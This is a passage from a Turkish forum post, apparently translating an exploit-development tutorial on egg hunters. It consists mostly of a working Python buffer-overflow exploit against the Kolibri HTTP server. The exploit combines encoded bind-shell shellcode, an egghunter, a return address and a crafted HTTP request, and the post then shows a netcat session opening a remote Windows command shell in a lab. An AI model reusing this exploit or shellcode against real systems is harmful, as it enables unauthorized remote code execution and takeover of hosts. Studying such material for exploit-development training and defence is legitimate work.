"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (*) For reliability we use the x86/alpha_mixed encoder (we have as much space #
#     as we could want), possibly this region of memory has a different set of  #
#     badcharacters.                                                            #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Aşağıdaki ekran görüntüsünde Kolibri'nin kötü HTTP isteğimizi aldığını ve bindshell'imizin çalıştığını gösteren netstat -an çıktısını görebilirsiniz. Buna bağlandığımızda BOOM yani geçmiş olsun :d

Kod:

root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\********s and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\********s and Settings\Administrator\Desktop>

Source: https://www.fuzzysecurity.com/tutorials/expDev/4.html
Translator @Gauloran

SiyahYunus · 23 Eyl 2020

Elinize sağlık Hocam

Windows Exploit Geliştirme Serisi #4 Egg Hunters

Gauloran

Moderasyon Ekibi Lideri

SiyahYunus

Katılımcı Üye

Sosyal medya sayfalarımız